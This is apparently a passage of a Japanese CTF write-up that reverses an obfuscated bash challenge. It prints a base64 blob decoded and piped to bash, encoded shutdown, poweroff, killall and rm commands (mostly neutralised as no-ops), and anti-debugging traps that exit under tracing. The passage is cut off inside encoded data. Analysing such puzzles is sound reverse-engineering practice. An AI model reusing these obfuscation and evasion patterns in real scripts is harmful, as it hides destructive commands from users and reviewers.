DzVrZrYENN3Guu78WvZ0aYy/a8OYuczCWK6z0GQSh7moaLMAdah59CHQdeJi9aSA4YvBL4kBXRcpczhLMP0LtsbHmDOzPjYa8/xnwGgJhjamRbqdbs03e1od1p7nOqZoXJ8hI1R8pVG7/xKvQuyxNBp4vHxiW2zfCD9fYo0RVkotW0oa+ExuVJK3EjtV4HIQF9k36OkIHBt9yrwzsNJLKOwbg3hZGHi5rvLw9pJICc+bhpRxGvh+mTrjwiCNvipOGhxtA7H+IzLM86Y8YR3k2a0Q6yrqYScpO73P7kkhVfeQ1Reg3G6piej1KQxOQ4GRDoqCO+31wr6FDppWEObrz9hO+rK0bVr/jnq/+VLaN+T1ObQnl5K1iyyKzy7xeB0zgu2X1cMwBRJ9eo0mMsJZQcAPIS+/mONCC74Z83XDH2sgN9WscReMvtx8KpyB6XpNPsZWoGwQ0qkKagfp52/uCeWv5N6qEuZT8e1I8Rt2Wv9Vuh/B+81nqH4xJBWz636/Y3hZrCoi2dLUzIxftBUxFII8nO/g55FAiv6jRhfEUK/QVTZxEOpbklHKDjyVQ0mhwkHrsdJoNwwowFLwA/gIP98ssP50rHgZ4LC1rdb7HKUmHFQgD+dEPB4YiI1hdlfwqSvtTsl5d3c6QSip30dIsYuwXCk+qiy3ex2TXGWzIoP66yXuCVawJoMyZs0sxByQ58b0jySEtFITGhRnb8pHuUzj7xiWRmGdXCQwvvcdD6ZxOq5hl2As2pZfhW/qs3UJLBLAnVEHV8lKnRztk8AoT8Dw/jTKAb655gbCsjUKdluUVf5UtGTB4e5605SyPttB96sp+IN+WXCpA3AvKsXWkJbzcP1ScFCGNpM8o6lFfCl8+zOoLUqoxY4FR7SJcCZBR63vKsERmQ6/wYbHwl2wKf6i0ygqdosQFuFbG2/yqdt5bchMhyZOpdZi1j4DtK5pv5qagmZi/v1wAp7FPy5314+IyY1JfCbkDSV5cX6Siq2uwZOBV/2toZ5JbPeaFj/ZD54qFr72ayfJIVRp/JWGkbx90EW0da/sKSE5ADuolmqaEbDJ7gwWiOzrOV9KK4tf7pjl1zOfT+r/GtCed8Z8rP4R2pobQA/wWk00SRyD+B9b1QrzMSWBKlUUsQeCnwDdlEmKXXDFaBWFgSEAGqqd1X4JmYsGEBdvAK/XknuqDSgiaCafXCW/4K3HUXlRra7dr0jWAC+mHRAYQCe1GLtSIwk5+uHngBSCl3GlKxN/Hhr7hY7565mAJUhGS3ELV3f4ZdY88/aw11KI22MMQUKyE0I9SGFAE9T9ue6NNBmnZWzs81uuAShpHXzldND76eDrYuvvEYmE7WcxEJ/W7NZ+WZ/TXbvuXc4EIYMkjtgCg/OnvfieHi82LeuAGR2klTVRVMfvJrDjF86tOx90cWYCd1AHAzHlnpgjLi9lhAmG2HTym1udGZyXcWomfPh9rDgM+wb89GbKhaqD+8CSrHd1hjasw4AcFXMQnPEA9sAS4hvtKiq0v9bLDUkZwphYxRbXsn4eWS/MWb+C78u0fK6Iwl1YATd4D+gWvez+Y4Ub+aWOfrREhJa3L8yXBJgmRjywrpB3kE847SdiLQbMlhmnOy04hPNENpVu2NOJC6HP2gRh86PvCFI+uKztQ+0TDxXFedqZSPNUCFECaSOxZXVtih0yHTMC5JeXNXuB5kaiApFzSYMd7M4+nDnKvtoJ0Q/CmXnfX2DhMx1wAmYa94EmjUvbczbErRrJlr/HZUMDYa3T91UZNFhtCk7G4te0vmyskKR+czKl/Jn2Wa9kXqhpsoIcAv8m9kjSgJdcD5EoOIp31xzdg3lqr29G5HJQJvaACCRpTCuaEvAz3opa0woO6/movqXVHx0yKsPcEohp0o+TUahdFV/dcKUi0n7kXj9dvRpuudSIJR+9jmbCj3ntyKWSEpX2PEUjmQ/y6tsoTvGtzAb1t7ZNKN10z53MbtV2OcklOf9WLbBf+ZGAtgUuTRKaY2GzNkoFt49SzIoOYy2RTc0mOl4qGUWxrI6ie3E6skS1foTMU8ttB8VXAuTKr3HnDfZ4419s4QaxoYQ2Wqy3qDKJ8lskPi6+EkMlllnBOx7KmsKOFpw5ZfoAjKmRvpZf18cFxwDUN2u26u0CEubVerCBrylrQVr7NuYF2HyYz2yRW/TCNrcX/OBXYj1pTpDgBmx4VzOgtTfgYkYsJ/HFvJd+bh1aS4TXxlQoIFcm5Y9UYKqDz1os8trPOUc10MxSagygb+/BcgAo2yXH6KZzL7xNKgMJp+T5uiSnVpk24brXzQxXQAIGUX1hvK1zv7mHH/IRvYnQtCeMYR+Hweq1S2IYawxqr+/J6PrUt48RJ+zVKho8kix2HEJWP9qtvoqbziBTAKG/zl172eV1ctXMR/e9JJYoYLJ2CUQbKT1oHa0agx/Q9jHJWXjyqjk5BkOZpirD3mwuzhA8RCcq2HWGcFdtWuoZJsNlbsnVVUB520XiCFP8fmUG3qKLsXejIKPsx8qwJy4z4qAWyyr78n3w75zci690PWJ4wkZW10NcnaYeTF6h8L1tf70Zht3eEi56GHsjFo7xOhULdph8MwlQkDdIRSXAifkUjv1oDlfHYk6A9kMBsceUhlRgp+AGAgLBZBFydwc+eXKv2J5SDF+Q0qtd8kRMy31FuM4qQwYoA7rQr7jDjNWzJLHAYvSuQA2MpeSE2ludA/ACDRIs3cX+MgsHJRemoYxqtBN9Td2yAhwYq/CSlUuMlfHmY6UTMbxgV7x9B8wrd4utiiWygM+PAAASba/deOwWGpHEfrhf5wccjH5+6Eo70DecSKY5fZpxBcn46nW1n1zZ4ICwR4AuLy19w1u54L5Lbs3m+e03n/x1b6zX+tgiEiMDN4be8u1N2OTNr+jWMHaJ+2xhBFCFB6ffd199M6fKWMeVmwvHb3A7vcol9OIS1WED4mpzlrVNFEA+AOWfInHHL3ADFIviHMg+JiqZ5Ac6+itl2bV5nNclmrOzMBPUKXdQX1E/5WM2um6/nKhTbWR3YJ/fVwgVqlNLxdZv2TWpiyIJ0gvTQTiIJUMug+Ia0bEok5gbkLGrApOOP0wNAWsfQ7KuQAAdJBS0STifR6FlSKzRHHnJdvs9xK3u+p9gIzGIpqbx/rBsVjPwUKha2uHl3u90Y1vxjBC/06GdLLF+BqQHAWHdwPtcYYWMlAL8/BpW6mg88X7Jk9ZS/NdQotXw4cUmZN18pRJWXXUkRnEkvVVNjmTlmc/Q31Us11Bk4cpX97+qQ2csTyVpf8I0DpvT++Pda/b0wd8ae3M/4HJ+ToESmOdn1GEMaSbxcLOToDTDBNW1FxAe+FXAtDgpnHW+yjXW6SNK5dkk4lIgO+8cOgwndisQsd3/kHF0vyIIX599RFsK1b2NIiON/YnqBm+C19zB0zNmTIfUECRfP+CgDfP0DpcQEye8LUFKGmMnOJURy0MciTjbmOdG6St5hySaGp3gCUjxwXSj7o4upjY8+pv1orAbWMSwbsNSXa8cb4eA3mRmaZ/Puscmm2A3070VpXPZx6oho8XFy6Av91wEP6y0gKVn/p3i3JHsvNo/LwYsm7CaUXQero9nauPa7I2MoonmX+p09ASV5jN6ZMIamKDO6fyh1z1iYtqInN7TppFfCaHt7Gjtya/GcTZ6dWSHEmufrBhnDRcfpYd2wCF6PKZEt0Fn7rJ3aNGOKobkkEorVIMFkz5rivMN3rA8j5Lxi1CwCkN3PFcNrzXBRcbio5BMLdileTiPUd65IpkyhAtQG6eXvyfq8NgSHvZ6OkcheifI6GIhqqAmfmZfXLt8pDwx7k1YxsXg5UUfzPBMjaMAW6uXXG4gVip0rX9uziu0r59TRihOjJzuwk2XXjbE/abdlCAIHcUBzDi+msfhigsf2V+/SI7tNM0CSr+leyZK6dtix4O1aBKFLrhRkGDGt0whIv1l56KaZaBTuY777oIxgVN5r0myqzJvt6wI8MFO1/r1FcLfm2zGuNknP7mCt8DsggWZQAb4o828H1jkJgvxKkmseOezE3G1ttH5YI879StC2NDjW3u8tLfXYnkc2KiWR7D4GMLq6fClf7h9opktgt7leRC8tuKCLOaSw745dkjaNnwSDGSUI3a+dezT1qoFY9kvBxrtXIwGIWJoNm7RtmXkk9t+4gGwSRvxMzR+Jk8J8gqGFxUf+lyuceOwLzBdTh0wPlfdPfWQuOQRVKznRZ9iQCX38eHzlMsaJ406gcKMemiBL6sx6poqt68aZ+DfHF9fUvL6KivpwpqjJQa/wQsLEHMTLxY8u6GnJbGNA77rlJEuKhdx4Casg09EBN+Wxn/ni54qlWIT1KI7ENpxO9ypTTtgdS+HKDNwnFZPSny7iQag8nMJU2vgLdYDfZ4FH+0QhQZUFQ7m6NOpBTWe2RJTfOknVMFV94WNfxlOln5mzouLAxhbNT/BtoRMy5KOgPFV6QY5bcM2OyjVPSM2ERQQctKQUia2GuSPyYXBcA06zEov1WxKcGCWSIKWv/Vx0HhbIX3hvsn6TXo+H9iNknP1e/m7MNVTjdx67Zqe9nCEypJhMjJ/VBi7pbCR+3Hb4r8lm5KZUQmKaKs3lz2qrzHe1S0g5ru2kn3ai/kYPfyryu+yhHmF+dPTOJlwq+f4ift7cbG+SePzIjh/KM0Mo2Jcgq/ATIC7i5wZmWbAjRf+yc4yb2KT18jZ0LNB/O40pBJC9oVkvmKEluf8fXFEoCon0onc3Dm3uwCFkB36z3KTRVBX/ltkn8/yxvjb8IbMl1gFIWD2RbBVT6qFlNDJTUI82Jnu0dH11cgsX5HIMIccpOikOu2ttKM2cc/iIvjRmGT/Hr9xMn3ixY2/qpTn2Ivox0fPEDnLADwa6VtVpdaZLPQr2VkShU5Br2uYZp4LxoFyubB6kSFOqlUGku+s7liXA7+PFIjxD9NPNWduTEApZMaVPS00Tmlf49t8cwWJGuGtd/Qb3baHyDGnjffyuepRipcoqMNTuK8IgUuGDu9rC5rFz//BXEYrW2qzzNUTQx7EGKfd4YleMHXMM8O380TDK+nl4qPq88QqhqerC9sJhAvaeQyCfa4C6QcbCPNMafZFvtX+gHDujBiyc11WKEJmCFcZRPWCNKDxo816lCE4fNv5oI3ku4371zebuhk2k3A5AXBh6TdIAFFeFy8y/K0azCif7/geOqTxbf6KWBdmGcNNRX/G5/GKbsft75RyCdQ6I68Z625tXPw8VrORpQXD4XM1I6F8io8nvhqQlWsV+qHXnDo6SJwC3eHAj5/bMb4Qa/9univX8KjdTfimPFAsc3Qn6Cfyz2/ic3C+YpeBFtTnO9X1a7X6z2xj5pu1R6INcRbURicSUETvms/dzqdb60iY1OEov09iSgnX5miGhVuMQz+QOLsmC7B2n0BjXf96qfi6IZAxfqNZ3fIuYrIfKereFKl500RwzfWpYbZ4YS72UMxA1HlXBir2I6ibFvKeXfMZtMXSrQ46VARr/ho+AmFBt7enq8TgNf0yOLJGD+nfRH2gPwXbEDORs8rzPXjJpwfGy7uVeQabMqnEwxbU1l+/W9agvNAYLeUbdrYQ2tq5w1VXJD6F+hjU4DAvygz4l+LW0M0sBWhWFjDu6itVomxZqskfgI/PLAoqcTCVmrImhff089elAtxmn4HSUcEy3oZrcQDwvJTxoUyni5j1OrIVLRNfiqK1QZDvk6kYHJfMQ6/Qnc/9A5QOS+7P9YMVvZ/topJ5bAQfmNCfXA3EXnO9AfkM99xskajSYoRiVC1C31olti7hjuav/yfgW8H8xgPciBcssZIX6Xb3A5+ZCtVwoHokHvTd1QY5kxkBDF+hSJ/68Mmr9cFrnxany4+rklGRJWebdinlASG18xVeqAiUsZhzWtukS1fGFaucEzeJsMFodFjgBRvTaU5WFbc9iCTxvRW7iOyyk3JUjYHlGiAcXAGCguSzV6RmkpToYSGL8zQ0Hx+K0yuIyGDggEds9gXI+/40AujfpMRs7vR5/UKlvy32FdG2P9oyOLKBCLCVa4RqZSyXbePn9ZEyJRLIUUa2bOZP2Vrlmq9Dc7kvDAfwKAbMARJBdROqKABNotRa8Pl+T4SgOSYUOkvFo4O26r9+Q2nbdrJoZblOkW3EivXqwhwHfah+4YPjAeToTbn6X29OVpLl1/Lf3XIDSYhgBAjfkuBUWMAebD3QlwO/E5Z063wOvx8O4/Ne9MEFwH1p/zJx773LkUylR2MiNkY9MCTwp+LIjzfmuRq0bb2HDPulbsr12X2VnoJ4ejzs7rKhGmXlgyhkfdVC1bAPdsm7GNNapKqpe35FJjXov32N8lX9q+RH0ene1uOsJnwz9I7ArJ0RauurdmeBLuvqJg++Zg3Qe8gnyivcZiDk96CKXCwhDU/5/W2CZp96FGMx8DNbGw4Z+OIpuXhEIvu9/NUF0Arhr4+qTb7EM5LOf5VEdT6lD1m6f4Qi4uwOcdtvnngH8jab7EqSRwrmopIF/xksVjWliEN+XMPK0cxekQISMUgsF6eo1m85WtJrwUUkDbeQsgQuHyArckYtyLuv2c5eeo8XdyRvZ9H3mbjGtIrvlfGwij3ODCcYWnc8Fm03ynFKNZnHpaXBBpnMQbEYXqeyJ3RFo3u0UfqvmJ1z4sbdx06C6nULctvmj0NIrPwi0Jer+ctydo9MHZK4KMKRpadJM4Xka/Nxji2sAs/qlZdTrYq0MtwbA7cZk3OUQ0Nn+Q/qOUISomT5FWJ3nfeUxi/9d7imdqccg07vLstYjSR8odhCZVIrA8PI7OinCSvaH5/kcTxPnF3uE3Ouv9EIzuIOPoBWZzXMMtB1QdD95ABhrbJnomnUNhN8dePHfDQ3Asom++qGHDDmWv3OBoUSfnE14ZVwJJxtdz4nJM1t/ZsQ2fk7Z+Z6jeQwZ2IG2KfYEjvno15p9Y0TDfCNFfrvpDiM91aaCNc5AhcBH2DMyeO+6WWXP8hsLUi6+pyMsC8YQlLTvEpQGlur35qW3RcR/Zn3nu94/O2CtozqGqyDSDZ7H2boyASMMdygamo1ty/2TLJa4delKxxzPLtqiZw+XSBVgufAH3Lck/JK3xoheD4xfly1J/elqMUGaEffrV9u8RVZe070d17B2uFTkuKo7bm3mT/xVzy+zMSYPLecCqLPPchUjP1bai76YItyifBjtxmKGBFgNVZMfGD65fwI0mbzgF7xfq1XA3dZO7n+BjgP8r3ZGfgX6b1TXC+ipRHlWK/4Fx7jXhtXOl0es1e8jC9OVkTXLQVYlHKEs2j0ccQAWdvPsUDNZxmyZgKXzQKLQOp0C7kAq/gxyPfnM3LT0JXT4JQ6QOYyNZ+sunOSBtLDLiJVCOTf+prhMgQFZUZBPw2XQp8r1X1rOtAjrEFkxzAGiSEZcDyP0iPumqF+IILAQNBx1AZ9c7YlNMDV9WVyZ3n+jZxzDVY+EXhQgb1uoNlpPqnDQCB6H3X19AquefhdUkxnMr/ymYDg60c2AwqHZnBzX9DneVbZijrCTkVB4KJZPPTG78caWp4J3nKo+OZhh2D+ip02uB3VEyLpKFUn3kTc1LHBxwXkMc8MdSSiSpTvAHmjFKrvzl2+7psEnXz3F9cQwL7wPQvTqu99mY9+WZ1vwCQ+9Cu1H8KjNPSrCY9g8eCnrL/OfjkHjlormkkZvJXFJJ2AHjBUej74s2UopXT5/a2GBmL1rflpgEaqAffONt7c61NDWsX6+KO/7H7PlfRdE6UftgyiaTlazi6GaE1SOPChq/1LoiJvyIvPJc4mKF3vazk6cJtFNJcOnSZSZUMd6MIvZSm7muZHE5jVd9zhGA1Ejx/FtA8n3mz2u6TiabJSavdh1B9gYbcVSrSf3ixBPn8F7yioiuqUaki1u/QKkngj4v6cMO99eQ2PdUOBsKff5hGc1+n5xV4EOszIk9nLgxwRagdVRM80vd3NyuK4tbm6Jc5n0lR9XFTrDQhRzp+vKOKG/3LG2C09LuowpYqH0Im3yai49sH4GHDkkoNcEgFWeDXsK3W5BIHMVBvf/L9U+B3n194JVt1g5hs4Rpe1jWuLb/1k6r5TskdCscbOIYAGqJPzR2Fm4sDphkBMU22BB5x4VcaX+Qh6H6vRpwIz87Sxxe9LXlpbtsoDs8LaUR4uxziN1n5FGWXtIqCz0fv8Yzgdbb6VdTpEt0zZ9/qKpkXr32o5o74vms7sL+63mj61A+XxJNIP5y8XYNmM3XLq6k2hkGsYJQ8ZdT/JmGgyosRRJsChUVGMicUxlls9rdIcIRSQbUvL7Gji+01u7U+P54kwr12FvwG2cT/uZxUpJC8m0tpmvzbaB8SFpVHgbm/ixRuVfEdf92vnEHHFUzFaxhf8eqzJjmZ0O+1wsMLy9S6hkj8J825M2lOeZWkYKmwIZFdqPpLhgXRyNKbOYFeLVTdHvI1T883VZWF1XTthKHZVuhCAsjoVmkiH3+8HoxgyI7qUfzt9iH86hb4PVJrER5yf8mLSZf7rHdgWrg6NmB18StlQO/ih9CWbn3CRoylbOHqEPUAADTSQuoDV0rHP7/286au6bTuDuTXWwYSzZ6rTLiS6idlIQ2016bcVzDX9fppjq4OibdCUEa8xVW8YE76kQiLioDdwY77oAblxRT9Ms3PKKLhd0gwy68+jopxeQ8PMbUHlKPEwspM+k0nnDerIu4xIaB1VITeDZH0E6GOKc11pvSAmJ9MOXo1xOXMh2lekIkNM3nqon8pzZjFqFltfyVy3Rvu3+s2Hc4gk/sRaBUmhS6bi2F7kwKSCCbPQnrCftf/+x//xwTz/Oc3luG39n7Tc/gZj+N/yLH//+s/f5nTb/vy1+b/98wN//jb++dfxP4cC247hz3/mx/7nbzn835H/jv13CP73P38bij/vvj/w/+Mfn+MzHn3/56+7NH///wAxa0NHOGsAAA==|base64 -d|gunzip|bash;$'\72' killall sh;: $($'\u0065\u0063\u0068\u006f' c2h1dGRvd24K | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );$(: pkill sh);$'\u003A' $(ls --help|grep ^G|cut -c13)$(ls --help|grep ^G|cut -c22)$(ls --help|grep ^G|cut -c9)$(ls --help|grep ^G|cut -c10)$(echo -n|md5sum|cut -c1)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c16);$'\u003A' $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\x3A' $($'\u0065\u0063\u0068\u006f' cG93ZXJvZmYK | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );$'\u003A' $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066';$'\x3A' exit;: $(echo XLzMiWKM39Tp |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\x3A' $(echo c2h1dGRvd24K |base64 -d);: $'\x73\x68\x75\x74\x64\x6f\x77\x6e';: $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' );: pkill sh;$'\x3A' $'\x73\x68\x75\x74\x64\x6f\x77\x6e';$(: poweroff);$'\72' $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' -d);$'\72' poweroff;$'\u003A' $($'\145\143\150\157' cG93ZXJvZmYK | $'\142\141\163\145\66\64' $'\55\144' );$'\x3A' killall sh;$'\x3A' $($'\x65\x63\x68\x6f' c2h1dGRvd24K | $'\x62\x61\x73\x65\x36\x34' -d);$'\u003A' $(echo =bNqcuKM |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\x3A' $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' );: $($'\145\143\150\157' cG93ZXJvZmYK | $'\142\141\163\145\66\64' $'\55\144' );$'\x3A';: $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066';$'\x3A' $($'\u0065\u0063\u0068\u006f' ZXhpdAo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );$(: killall sh);: $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\x3A' $(echo KYmZvJXZ39Gc |rev|base64 -d);: $(echo =bNqcuKM |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\x3A' $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066';$'\72' $(echo XLzMiWKM39Tp |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);: $'\x65\x78\x69\x74';: $(echo K42dvRGd1h2c |rev|base64 -d);$'\u003A' $'\u0073\u0068\u0075\u0074\u0064\u006f\u0077\u006e';: $(ls --help|grep ^G|cut -c13)$(ls --help|grep ^G|cut -c22)$(ls --help|grep ^G|cut -c9)$(ls --help|grep ^G|cut -c10)$(echo -n|md5sum|cut -c1)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c16);$'\72' $($'\x65\x63\x68\x6f' c2h1dGRvd24K | $'\x62\x61\x73\x65\x36\x34' -d);$'\x3A' $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\u003A' $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50);: $($'\145\143\150\157' ZXhpdAo= | $'\142\141\163\145\66\64' $'\55\144' );: $'\u0065\u0078\u0069\u0074';: :;: $(echo =oAdphXZ |rev|base64 -d);$'\u003A' $'\u0065\u0078\u0069\u0074';$'\x3A' $($'\u0065\u0063\u0068\u006f' c2h1dGRvd24K | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );: ::;$'\u003A' $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );$'\72' $(echo K42dvRGd1h2c |rev|base64 -d);$(: rm /tmp);: $'\u0073\u0068\u0075\u0074\u0064\u006f\u0077\u006e';:;$'\u003A' $($'\x65\x63\x68\x6f' cG93ZXJvZmYK | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );: $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50);$'\72' $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' );$'\x3A' poweroff;$'\72' $(echo =oAdphXZ |rev|base64 -d);$'\72' $($'\u0065\u0063\u0068\u006f' cG93ZXJvZmYK | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );: $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' -d);$'\u003A' $(echo X42qiETq1u2p |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);: $($'\u0065\u0063\u0068\u006f' ZXhpdAo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );$'\72' exit;$'\x3A' $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50);$'\72' $(ls --help|grep ^G|cut -c8)$(printf "%b" $(printf '%s%x' '\x' $((0x77 ^ 0x2f)))|tr A-Z a-z)$(ls --help|grep ^G|cut -c11)$(ls --help|grep ^G|cut -c10);: $(echo pT93MKWiMzLX |tr A-Za-z N-ZA-Mn-za-m|base64 -d);

実行すると、以下のようなアニメーションが出てきました(すごい)。 f:id:tsalvia:20191022160826g:plain

このままだと処理がよく分からないので、デバッグモードで実行してみます。

$ bash -x Beeeeeeeeeer_ec349d2c91cb37b7657bc3d684d0b5c4c8cb06a2

# 省略

+ base64 -d
+ echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo=
Let's decording!(≧∀≦*)
+ read
hoge
++ base64 -d
++ echo MjAK
+ trap '' 1 2 3 15 18 19 20
+ echo hxB
+ grep x
hxB
+ exit

Let's decording!(≧∀≦*) と表示した後、標準入力待ちとなっていました。 適当にhogeと入力してみると、そのままexitで終了してしまいました。

セミコロン;の後に改行を入れて、どこで止まっているのかを確認してみます。

$ sed -e "s/;/;\n/g" Beeeeeeeeeer_ec349d2c91cb37b7657bc3d684d0b5c4c8cb06a2 > Beeeeeeeeeer_2.sh

改行を挿入すると、以下のようになります。

echo -e "\033#8";
sleep 1;
C=$(tput cols);
L=$(tput lines);
for ID in $(seq $(($L*$C*6)));
do x=$(($RANDOM%$C));
y=$(($RANDOM%$L));
printf "\033[${y};
${x}f ";
done;
for ID in $(seq $(($L*$C*6)));
do x=$(($RANDOM%$C));
y=$(($RANDOM%$L));
printf "\033[${y};
${x}fF";
done;
clear;
echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo=|base64 -d;
read;
$'\164\162\141\160' '' $'\61' $'\62' $'\63' $'\x31\x35' $'\x31\x38' $'\u0031\u0039' $(echo MjAK |base64 -d);
echo $-|grep x && exit;
$(echo =btB |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo =bNpyW3M |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo XRKY |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo =ogO |rev|base64 -d)&&exit;
if [ -z "$1" ];
then  ID=$'\x6e\x61\x6e\x64\x6f\x6b\x75';
else  ID="$1";
fi;
if whoami | grep -e root -e user -e adm -e nobody -e test -e "$ID" >/dev/null;
then :;
else exit;
 fi;
for i in $($'\x73\x65\x71' $((RANDOM % 10)));
do  $($'\x65\x63\x68\x6f' c2xlZXAK | $'\x62\x61\x73\x65\x36\x34' -d) $((RANDOM % 300));
done;
$'\145\143\150\157' $-|$(echo =oAclJ3Z |rev|base64 -d) $(echo =oAe |rev|base64 -d) && $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );
$(echo =btB |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo M3WypNb= |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo YKRX |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $(echo Btb= |tr A-Za-z N-ZA-Mn-za-m|base64 -d)&&exit;
$'\145\170\160\157\162\164' $'\u0053\u0031'=$(echo aG9nZWZ1Z2EK |base64 -d);
echo -n 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